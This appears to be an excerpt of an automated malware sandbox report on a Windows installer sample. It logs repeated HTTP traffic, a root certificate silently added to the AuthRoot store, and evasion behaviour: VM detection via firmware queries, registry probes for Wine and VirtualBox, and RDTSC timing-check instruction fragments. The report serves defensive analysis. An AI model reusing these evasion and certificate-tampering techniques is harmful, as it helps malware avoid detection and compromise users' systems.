Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob

Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_0058E370		30_2_0058E370
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0024E370		32_2_0024E370

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\msiexec.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\msiexec.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\msiexec.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DEB770 second address: 0000000000DEB790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0E5FDBDh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jg 00007FEBE0E5FDBCh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DBD387 second address: 0000000000DBD38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DBD38B second address: 0000000000DBD3A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DBD3A1 second address: 0000000000DBD3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DB16B0 second address: 0000000000DB16B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DB16B4 second address: 0000000000DB170B instructions: 0x00000000 rdtsc 0x00000002 je 00007FEBE0B1C456h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FEBE0B1C464h 0x00000015 jng 00007FEBE0B1C456h 0x0000001b jmp 00007FEBE0B1C465h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FEBE0B1C465h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DB170B second address: 0000000000DB170F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DD4CE7 second address: 0000000000DD4CEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DD4CEB second address: 0000000000DD4CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jng 00007FEBE0E5FDB6h 0x00000010 rdtsc
